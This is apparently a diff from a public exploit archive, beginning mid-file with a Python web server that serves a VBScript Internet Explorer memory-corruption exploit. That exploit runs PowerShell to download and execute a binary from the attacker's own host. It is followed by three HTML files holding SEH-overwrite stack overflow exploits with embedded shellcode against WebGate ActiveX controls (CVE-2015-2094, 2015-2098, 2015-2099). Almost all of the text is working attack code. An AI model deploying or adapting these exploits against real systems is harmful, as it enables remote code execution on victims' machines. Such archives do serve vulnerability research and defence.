#
|
||||
# Video: https://vid.me/SRCb
|
||||
##
|
||||
|
||||
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
def do_GET(req):
|
||||
req.send_response(200)
|
||||
if req.path == "/acunetix.exe":
|
||||
req.send_header('Content-type', 'application/exe')
|
||||
req.end_headers()
|
||||
exe = open("acunetix.exe", 'rb')
|
||||
req.wfile.write(exe.read())
|
||||
exe.close()
|
||||
else:
|
||||
req.send_header('Content-type', 'text/html')
|
||||
req.end_headers()
|
||||
req.wfile.write("""Please scan me!
|
||||
<SCRIPT LANGUAGE="VBScript">
|
||||
function runmumaa()
|
||||
On Error Resume Next
|
||||
set shell=createobject("Shell.Application")
|
||||
command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
|
||||
'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
|
||||
shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
|
||||
end function
|
||||
|
||||
dim aa()
|
||||
dim ab()
|
||||
dim a0
|
||||
dim a1
|
||||
dim a2
|
||||
dim a3
|
||||
dim win9x
|
||||
dim intVersion
|
||||
dim rnda
|
||||
dim funclass
|
||||
dim myarray
|
||||
|
||||
Begin()
|
||||
|
||||
function Begin()
|
||||
On Error Resume Next
|
||||
info=Navigator.UserAgent
|
||||
|
||||
if(instr(info,"Win64")>0) then
|
||||
exit function
|
||||
end if
|
||||
|
||||
if (instr(info,"MSIE")>0) then
|
||||
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
|
||||
else
|
||||
exit function
|
||||
|
||||
end if
|
||||
|
||||
win9x=0
|
||||
|
||||
BeginInit()
|
||||
If Create()=True Then
|
||||
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
|
||||
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
|
||||
|
||||
if(intVersion<4) then
|
||||
document.write("<br> IE")
|
||||
document.write(intVersion)
|
||||
runshellcode()
|
||||
else
|
||||
setnotsafemode()
|
||||
end if
|
||||
end if
|
||||
end function
|
||||
|
||||
function BeginInit()
|
||||
Randomize()
|
||||
redim aa(5)
|
||||
redim ab(5)
|
||||
a0=13+17*rnd(6)
|
||||
a3=7+3*rnd(5)
|
||||
end function
|
||||
|
||||
function Create()
|
||||
On Error Resume Next
|
||||
dim i
|
||||
Create=False
|
||||
For i = 0 To 400
|
||||
If Over()=True Then
|
||||
' document.write(i)
|
||||
Create=True
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
end function
|
||||
|
||||
sub testaa()
|
||||
end sub
|
||||
|
||||
function mydata()
|
||||
On Error Resume Next
|
||||
i=testaa
|
||||
i=null
|
||||
redim Preserve aa(a2)
|
||||
|
||||
ab(0)=0
|
||||
aa(a1)=i
|
||||
ab(0)=6.36598737437801E-314
|
||||
|
||||
aa(a1+2)=myarray
|
||||
ab(2)=1.74088534731324E-310
|
||||
mydata=aa(a1)
|
||||
redim Preserve aa(a0)
|
||||
end function
|
||||
|
||||
|
||||
function setnotsafemode()
|
||||
On Error Resume Next
|
||||
i=mydata()
|
||||
i=readmemo(i+8)
|
||||
i=readmemo(i+16)
|
||||
j=readmemo(i+&h134)
|
||||
for k=0 to &h60 step 4
|
||||
j=readmemo(i+&h120+k)
|
||||
if(j=14) then
|
||||
j=0
|
||||
redim Preserve aa(a2)
|
||||
aa(a1+2)(i+&h11c+k)=ab(4)
|
||||
redim Preserve aa(a0)
|
||||
|
||||
j=0
|
||||
j=readmemo(i+&h120+k)
|
||||
|
||||
Exit for
|
||||
end if
|
||||
|
||||
next
|
||||
ab(2)=1.69759663316747E-313
|
||||
runmumaa()
|
||||
end function
|
||||
|
||||
function Over()
|
||||
On Error Resume Next
|
||||
dim type1,type2,type3
|
||||
Over=False
|
||||
a0=a0+a3
|
||||
a1=a0+2
|
||||
a2=a0+&h8000000
|
||||
|
||||
redim Preserve aa(a0)
|
||||
redim ab(a0)
|
||||
|
||||
redim Preserve aa(a2)
|
||||
|
||||
type1=1
|
||||
ab(0)=1.123456789012345678901234567890
|
||||
aa(a0)=10
|
||||
|
||||
If(IsObject(aa(a1-1)) = False) Then
|
||||
if(intVersion<4) then
|
||||
mem=cint(a0+1)*16
|
||||
j=vartype(aa(a1-1))
|
||||
if((j=mem+4) or (j*8=mem+8)) then
|
||||
if(vartype(aa(a1-1))<>0) Then
|
||||
If(IsObject(aa(a1)) = False ) Then
|
||||
type1=VarType(aa(a1))
|
||||
end if
|
||||
end if
|
||||
else
|
||||
redim Preserve aa(a0)
|
||||
exit function
|
||||
|
||||
end if
|
||||
else
|
||||
if(vartype(aa(a1-1))<>0) Then
|
||||
If(IsObject(aa(a1)) = False ) Then
|
||||
type1=VarType(aa(a1))
|
||||
end if
|
||||
end if
|
||||
end if
|
||||
end if
|
||||
|
||||
|
||||
If(type1=&h2f66) Then
|
||||
Over=True
|
||||
End If
|
||||
If(type1=&hB9AD) Then
|
||||
Over=True
|
||||
win9x=1
|
||||
End If
|
||||
|
||||
redim Preserve aa(a0)
|
||||
|
||||
end function
|
||||
|
||||
function ReadMemo(add)
|
||||
On Error Resume Next
|
||||
redim Preserve aa(a2)
|
||||
|
||||
ab(0)=0
|
||||
aa(a1)=add+4
|
||||
ab(0)=1.69759663316747E-313
|
||||
ReadMemo=lenb(aa(a1))
|
||||
|
||||
ab(0)=0
|
||||
|
||||
redim Preserve aa(a0)
|
||||
end function
|
||||
|
||||
</script>""")
|
||||
|
||||
if __name__ == '__main__':
|
||||
sclass = BaseHTTPServer.HTTPServer
|
||||
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
|
||||
print "Http server started", socket.gethostbyname(socket.gethostname()), 80
|
||||
try:
|
||||
server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
server.server_close()
|
||||
84
platforms/windows/remote/36517.html
Executable file
84
platforms/windows/remote/36517.html
Executable file
|
|
@ -0,0 +1,84 @@
|
|||
<html>
|
||||
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
|
||||
<!--
|
||||
# Exploit Title: WebGate WinRDS StopSiteAllChannel Stack Overflow SEH Overwrite (0Day)
|
||||
# Google Dork: [if relevant] (we will automatically add these to the GHDB)
|
||||
# Date: 27th March, 2015
|
||||
# Exploit Author: Praveen Darshanam
|
||||
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
|
||||
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
|
||||
# Version: WinRDS 2.0.8
|
||||
# Tested on: Windows XP SP3 using IE/6/7/8
|
||||
# CVE : 2015-2094
|
||||
|
||||
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
|
||||
prototype = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
|
||||
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
|
||||
Vulnerable Product = WinRDS 2.0.8
|
||||
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
|
||||
-->
|
||||
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
|
||||
</object>
|
||||
<script>
|
||||
|
||||
var buff1 = "";
|
||||
var nops = "";
|
||||
var buff2 = "";
|
||||
|
||||
for (i=0;i<128; i++)
|
||||
{
|
||||
buff1 += "B";
|
||||
}
|
||||
|
||||
nseh = "\xeb\x08PD";
|
||||
//pop pop ret = 1007f2a0 (0x1007f29e) 1007f2a0
|
||||
var seh = "\xa0\xf2\x07\x10";
|
||||
for (i=0;i<80; i++)
|
||||
{
|
||||
nops += "\x90";
|
||||
}
|
||||
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
|
||||
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
|
||||
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
|
||||
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
|
||||
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
|
||||
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
|
||||
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
|
||||
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
|
||||
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
|
||||
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
|
||||
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
|
||||
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
|
||||
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
|
||||
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
|
||||
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
|
||||
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
|
||||
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
|
||||
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
|
||||
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
|
||||
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
|
||||
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
|
||||
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
|
||||
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
|
||||
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
|
||||
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
|
||||
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
|
||||
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
|
||||
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
|
||||
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
|
||||
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
|
||||
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
|
||||
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
|
||||
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
|
||||
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
|
||||
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
|
||||
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
|
||||
{
|
||||
buff2 += "A";
|
||||
}
|
||||
|
||||
fbuff = buff1 + nseh + seh + nops + sc + buff2;
|
||||
ssac.StopSiteAllChannel(fbuff);
|
||||
|
||||
</script>
|
||||
</html>
|
||||
91
platforms/windows/remote/36518.html
Executable file
91
platforms/windows/remote/36518.html
Executable file
|
|
@ -0,0 +1,91 @@
|
|||
<html>
|
||||
<!--
|
||||
Author: Praveen Darshanam
|
||||
http://blog.disects.com/
|
||||
http://darshanams.blogspot.com
|
||||
|
||||
# Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite (0Day)
|
||||
# Date: 27th March, 2015
|
||||
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
|
||||
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35
|
||||
# Version: Control Center 4.8.7
|
||||
# Tested on: Windows XP SP3 using IE/6/7/8
|
||||
# CVE : 2015-2099
|
||||
|
||||
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
|
||||
prototype = "Sub GetThumbnail ( ByVal SiteSerialNumber As String , ByVal Channel As Integer , ByVal secTime As Long , ByVal miliTime As Integer )"
|
||||
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
|
||||
-->
|
||||
|
||||
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='getthumb'>
|
||||
</object>
|
||||
<script>
|
||||
|
||||
var buff1 = "";
|
||||
var arg2=1;
|
||||
var arg3=1;
|
||||
var arg4=1;
|
||||
var nops = "";
|
||||
var buff2 = "";
|
||||
|
||||
for (i=0;i<24; i++)
|
||||
{
|
||||
buff1 += "B";
|
||||
}
|
||||
|
||||
// jump over seh to shellcode
|
||||
nseh = "\xeb\x08PD";
|
||||
// pop pop ret
|
||||
var seh = "\xa0\xf2\x07\x10";
|
||||
|
||||
for (i=0;i<80; i++)
|
||||
{
|
||||
nops += "\x90";
|
||||
}
|
||||
//calc.exe payload
|
||||
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
|
||||
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
|
||||
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
|
||||
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
|
||||
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
|
||||
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
|
||||
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
|
||||
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
|
||||
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
|
||||
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
|
||||
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
|
||||
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
|
||||
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
|
||||
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
|
||||
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
|
||||
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
|
||||
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
|
||||
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
|
||||
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
|
||||
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
|
||||
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
|
||||
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
|
||||
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
|
||||
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
|
||||
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
|
||||
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
|
||||
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
|
||||
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
|
||||
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
|
||||
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
|
||||
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
|
||||
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
|
||||
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
|
||||
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
|
||||
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
|
||||
|
||||
for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
|
||||
{
|
||||
buff2 += "A";
|
||||
}
|
||||
|
||||
fbuff = buff1 + nseh + seh + nops + sc + buff2;
|
||||
getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4);
|
||||
|
||||
</script>
|
||||
</html>
|
||||
82
platforms/windows/remote/36519.html
Executable file
82
platforms/windows/remote/36519.html
Executable file
|
|
@ -0,0 +1,82 @@
|
|||
<html>
|
||||
<!--
|
||||
Author: Praveen Darshanam
|
||||
http://blog.disects.com
|
||||
http://darshanams.blogspot.com
|
||||
|
||||
# Exploit Title: WebGate eDVR Manager SiteName Stack Overflow SEH Overwrite (0Day)
|
||||
# Date: 27th March, 2015
|
||||
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
|
||||
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
|
||||
# Version: eDVR Manager 2.6.4
|
||||
# Tested on: Windows XP SP3 using IE/6/7/8
|
||||
# CVE : 2015-2098
|
||||
|
||||
WebGate eDVR Manager WESPPlayback.WESPPlaybackCtrl.1 SiteName Property Stack Buffer Overflow Remote Code Execution Vulnerability
|
||||
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
|
||||
prototype = "Property Let SiteName ( ByVal SiteSerialNumber As String ) As String"
|
||||
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
|
||||
-->
|
||||
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='sname'>
|
||||
</object>
|
||||
<script>
|
||||
var buff1= "";
|
||||
var buff2= "PraveenD";
|
||||
var nops = "";
|
||||
|
||||
for (i=0; i<128; i++)
|
||||
{
|
||||
buff1 += "B";
|
||||
}
|
||||
var nseh = "\xeb\x08PD";
|
||||
var seh = "\xa0\xf2\x07\x10";
|
||||
for (i=0;i<80; i++)
|
||||
{
|
||||
nops += "\x90";
|
||||
}
|
||||
//calc.exe payload
|
||||
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
|
||||
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
|
||||
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
|
||||
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
|
||||
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
|
||||
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
|
||||
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
|
||||
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
|
||||
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
|
||||
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
|
||||
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
|
||||
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
|
||||
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
|
||||
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
|
||||
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
|
||||
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
|
||||
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
|
||||
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
|
||||
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
|
||||
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
|
||||
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
|
||||
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
|
||||
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
|
||||
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
|
||||
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
|
||||
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
|
||||
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
|
||||
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
|
||||
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
|
||||
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
|
||||
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
|
||||
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
|
||||
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
|
||||
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
|
||||
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
|
||||
for (i=0;i<(8000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
|
||||
{
|
||||
buff2 += "A";
|
||||
}
|
||||
|
||||
fbuff = buff1 + nseh + seh + nops + sc + buff2;
|
||||
sname.SiteName(fbuff) = buff2;
|
||||
|
||||
</script>
|
||||
</html>
|
||||
Loading…
Add table
Reference in a new issue